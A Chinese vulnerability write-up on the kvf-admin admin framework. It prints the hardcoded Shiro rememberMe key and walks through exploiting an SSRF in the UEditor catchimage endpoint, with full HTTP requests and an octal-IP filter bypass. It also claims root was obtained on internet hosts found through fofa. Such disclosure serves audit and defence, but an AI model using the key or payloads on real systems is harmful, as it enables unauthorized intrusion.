项目版本&介绍

kvf-admin是一套快速开发框架、脚手架、后台管理系统、权限系统,上手简单,拿来即用。为广大开发者去除大部分重复繁锁的代码工作,让开发者拥有更多的时间陪恋人、家人和朋友。

部署

项目地址: https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file

根据 readme 导入idea,运行即可

Shiro 硬编码

位于 src/main/java/com/kalvin/kvf/common/shiro/ShiroConfig.java

存在硬编码 key2AvVhdsgUs0FSA3SDFAdag==

    /**
     * cookie管理对象;
     * @return cookieRememberMeManager
     */
    private CookieRememberMeManager rememberMeManager() {
        CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
        cookieRememberMeManager.setCookie(rememberMeCookie());
        // rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 256 512 位)
        cookieRememberMeManager.setCipherKey(Base64.decode("2AvVhdsgUs0FSA3SDFAdag=="));
        return cookieRememberMeManager;
    }

加上项目本身 JDK 1.8 环境,工具一把梭。Shiro 版本依赖为 1.6.0 所以需要勾选 AES GCM

fofa 互联网资产验证: 成功拿下 root

SSRF

定位传入点

定位到: src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java

存在 isSiteLocalAddress 函数

    private boolean validHost ( String hostname ) {
        try {
            InetAddress ip = InetAddress.getByName(hostname);
​
            if (ip.isSiteLocalAddress()) {
                return false;
            }
        } catch (UnknownHostException e) {
            return false;
        }
​
        return !filters.contains( hostname );
​
    }

跟进一下函数存在唯一用法

src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java::captureRemoteData

注意到 函数名 validHostcaptureRemoteData存在 openConnection 以及下方的资源类型验证推测此处为远程拉取某资源行为。

而我们又知道 isSiteLocalAddress 函数有下面作用

#只能检测:
10/8、172.16/12、192.168/16 以及 IPv6 fec0::/10

很明显对内网检查是不够的。127.0.0.1 169.254.*.* 等均未覆盖。

猜测此处存在 SSRF , 现在需要找到触发入口。

继续跟进 captureRemoteData 函数唯一用法 src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java::capture

继续跟进 capture 存在唯一用法

src/main/java/com/kalvin/kvf/common/ext/ueditor/ActionEnter.java::invoke

我们继续跟进 invoke 函数两个用法发现,均为 ActionEnter.java::exec 方法的不同条件分支

接着再次跟进 exec 唯一用法

src/main/java/com/kalvin/kvf/common/controller/UEditorController.java::upload

简单分析过此项目即可得知,此处为 UEditor 富文本编辑器文件上传接口。对应后台富文本

调用链传递

知道存在入口,那么现在构造验证即可。

SpingBoot 启用 debug 且在前面invoke 方法打上断点。(由前面单一方法调用直接快速断点)

以及自行理解一下 UEditorcontroller::upload方法传入

先尝试直接使用富文本获取html得到的请求。

GET /ueditor/upload?configPath=ueditor/config.json&action=config HTTP/1.1
Host: 192.168.216.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.216.1/sys/component/ueditor/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7666400e-0d8a-4cca-ae22-e788cf7ca39d
Connection: keep-alive

稍微跟进一下这行逻辑,不难发现和 http 请求的 action 参数对应。以及后续通过 action 来进行 switch分支

往下步入, 要想进入 capture 方法,就需要进入 case ActionMap.CATCH_IMAGE 分支

继续 ctrl + B 跟进 CATCH_IMAGE 定义为 catchimage 说明 action 参数需要设置为 catchimage

放行此次请求, 重新构造 action=catchimage

快速步入state = new ImageHunter(storage, conf).capture(list); 发现 list 为空。

此为关键参数,返回跟进 list来源

可知 来源于 http 请求的传参,其中参数名为:conf.get("fieldName"));

            case ActionMap.CATCH_IMAGE:
            conf = configManager.getConfig(actionCode);
            String[] list = this.request.getParameterValues((String) conf.get("fieldName"));
            state = new ImageHunter(storage, conf).capture(list);
            break;

我们需要知道 conf.get("fieldName")); 所指代的值: 定位 configManagerConfigManager 对象

ConfigManager 的构造方法 会使用 initEnv 方法进行初始化

继续跟踪就能发现使用 configFileName 初始化 configFileNameconfig.json

config.json 中搜索 FieldName 得到 "catcherFieldName": "source",结合前面 conf.get("fieldName")

得到 从请求中获取一个参数名为 : source[] 的数组作为 list 的值 (getParameterValues 函数并不区分 get post)

现在继续回到调用链,重新构造请求 (去除指定 config 仅仅携带 action 分析略)

POST /ueditor/upload?action=catchimage HTTP/1.1
Host: 192.168.216.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.216.1/sys/component/ueditor/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=541bad10-0182-4913-9197-949c8a9ce5da
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
​
​
source[]=http://127.0.0.1

快速步入得到 list : http://127.0.0.1

继续步入到 validHost 方法

绕过filters

可以看到轻松过了 isSiteLocalAddress 检测

但是也发现 还存在filters.contains 过滤。其中包含如图 3 个值。

直接 127.0.0.1 看来是行不通的,要绕过也很简单

使用 变体例如: http://0177.0.0.1 (8进制,等效127.0.0.1)

重新改变参数发送请求,成功进入 openConnection 实现 ssrf 后续的文件类型检测已经无所谓,因为 TCP连接已经建立

其他内网段探测,有的没过滤,有的使用类似方法绕过即可。


国家一级保护废物